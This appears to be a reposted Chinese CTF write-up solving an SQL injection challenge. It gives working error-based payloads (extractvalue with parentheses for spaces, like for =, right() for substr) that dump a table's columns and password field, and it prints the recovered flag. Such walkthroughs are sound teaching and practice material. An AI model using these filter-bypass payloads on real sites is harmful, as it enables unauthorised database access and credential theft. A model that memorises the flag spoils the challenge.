cl4y師傅出的又一道sqli
首先我們進行fuzz,跑完之后顯示出被過濾的非法字符:

過濾了union,空格,=等字符,我們先輸入一個'進行測驗,發現回顯報錯,于是我們嘗試進行報錯注入:
payload:?username=admin%27or(extractvalue(1,concat(%270x7e%27,version())))%23&password=123
嘗試在username處進行注入;因為空格被過濾了,我們在這里使用括號進行繞過;爆出來當前資料庫的版本:

我們已經可以確定了注入方式和注入點,接下來就是一波老操作,在這里直接給出payload和回顯圖片("="被ban了所以我們使用like進行代替)
payload:?username=admin%27or(extractvalue(1,concat(%270x7e%27,(select(table_name)from(information_schema.tables)where(table_schema)like(database())))))%23&password=123 //XPATH syntax error: 'x7eH4rDsq1',爆出表的名稱為H4rDsq1

payload:?username=admin'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')))))%23 //XPATH syntax error: '~id,username,password',爆出當前表中的三個欄位

敏感資訊應該是存在于password欄位中,于是我們嘗試讀取password的內容:
payload:?username=admin'or(extractvalue(1,concat('0x7e',(select(group_concat(password))from(H4rDsq1)))))%23&password=123

我們已經成功爆出了flag,但是因為回顯的字串長度不夠無法完全讀取flag的值,而且substr被禁用了,于是我們使用right()函式進行讀取
right(str,length)函式回傳str的后length個字符,
payload:?username=admin'or(extractvalue(1,concat('0x7e',(select(group_concat(right(password,20)))from(H4rDsq1)))))%23&password=123
拼接后的flag:
flag{c4be14ce-1e03-4e19-8152-c2d222064351}
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/121833.html
標籤:其他
